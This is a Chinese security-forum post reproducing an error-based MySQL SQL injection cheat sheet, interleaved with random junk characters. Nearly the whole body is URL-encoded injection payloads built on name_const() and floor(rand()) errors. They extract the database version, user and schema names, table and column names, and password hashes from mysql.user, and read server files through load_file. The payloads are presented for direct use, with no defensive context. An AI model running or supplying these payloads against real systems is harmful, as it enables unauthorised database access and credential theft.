找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2238|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
, b+ j, `9 t* C+ q6 U
0 E% S! i- k: m) D! ?' c, T, h
$ v! v# V9 B7 D  B  N1 C3 qMysql暴错注入参考(pdf),每天一贴。。。0 }  K. N7 l0 |' C" y

0 Q/ \. y9 k: ~) Z, N7 y) K9 `" {MySql Error Based Injection Reference
; }. e: j3 m) B; V, p[Mysql暴错注入参考]3 V1 K- i: D+ \3 q* `# T! ?
Authornig0s1992
2 C' Q, _& j0 h3 P/ O! q+ Y+ vBlog:http://pnig0s1992.blog.51cto.com/
$ o$ |" {2 ^& XTeAm:http://www.FreeBuf.com/
5 A3 M4 y; r8 E; e, }Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功7 S8 K0 X$ H4 d5 H+ v) ?3 M; C2 ?- d
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
" U8 A0 i) E# v& H! @3 ^查询版本:
8 R: t+ b) x* T; b# D0 {2 l8 r- @# hMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+2 v6 H9 ~1 r, d! [4 }) l6 {
join+(select+name_const(@@version,0))b)c)" T$ e$ B' {0 R9 O
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro9 ]$ Q: U- g% r- T9 p$ k; v
up by a)b)4 w% r' x+ z3 z$ ]
查询当前用户:3 z. b% v  s) S$ l
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 M# C- s# r2 V/ k6 t- rMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r2 m+ W0 B5 H) s6 g+ C7 `, H
and(0)*2))x+from+information_schema.tables+group+by+x)a)
0 D5 m0 B7 s9 N: j, s2 ~2 E1 O查询当前数据库:
; O9 K# t! D1 x! AMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
. f8 [7 Z6 B- pMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo- k$ ]& t1 l& B& W2 e
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
& S: v& ^6 H8 ^4 T依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+) G& i# {5 `4 b7 M7 l, z6 h+ c
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n+ {, ]% Y; f2 j7 C
顺序替换
/ K8 |- {$ f1 `& l7 r) K爆指定库数目:# @% n9 S- g! X; f( y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t. l1 p2 s* M7 Z0 Z- h( a
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group3 O% o, H* S3 ~: F% E1 k! @" o. Y
+by+x)a)+and+1=1 0x6D7973716C=mysql$ H: X" O6 {2 |9 S
依次爆表:
" T+ N# {; f% s4 oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
/ L9 u, @4 J7 v$ V! T! A1 ]able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta- a3 t5 s' X0 S
bles+group+by+x)a)+and+1=1
, ^+ j. r+ S7 r  c0x6D7973716C=Mysql 将n顺序替换
+ j# O8 P" [8 i5 y, u( W9 Y2 H! b# j8 Q爆表内字段数目:7 E9 c; b1 a* I
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE5 \- T2 Y+ n. ~/ q. w( H
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
, f  i. w! o  _* z0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1* ]  e  y- h2 G
依次爆字段:, U& ~% R& s# N" g, m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
) l* s9 e7 D- D0 T5 [9 H+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
1 y( u9 _5 G8 h0 K! j. @. U* eloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
2 B5 f& Z0 ~$ ^& q依次暴内容:/ x0 [/ K6 d' k4 z/ T5 ^7 {8 ?
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
, @$ i7 O& q' S( J% r9 F, m0 {+ @ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- b7 X& y) V& u5 _# X0 Q+ q将n顺序替换9 v3 a- g8 z2 t6 j, U7 T
爆文件内容:' p$ c' _3 H% i4 |4 @0 e8 L
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a, j6 z! d. ]+ \, w6 d0 z
from+information_schema.tables+group+by+a)b) 0 D0 K+ @9 m3 X9 f
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
" ~: O1 M6 U5 [; S. S1 z  Z- bThx for reading.6 y; n- S5 u  E& N2 Z, m
4 f8 s; F  H2 M! w5 q
不要下载也可以,
/ k! i* ?: T1 _& c+ V+ ]8 y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表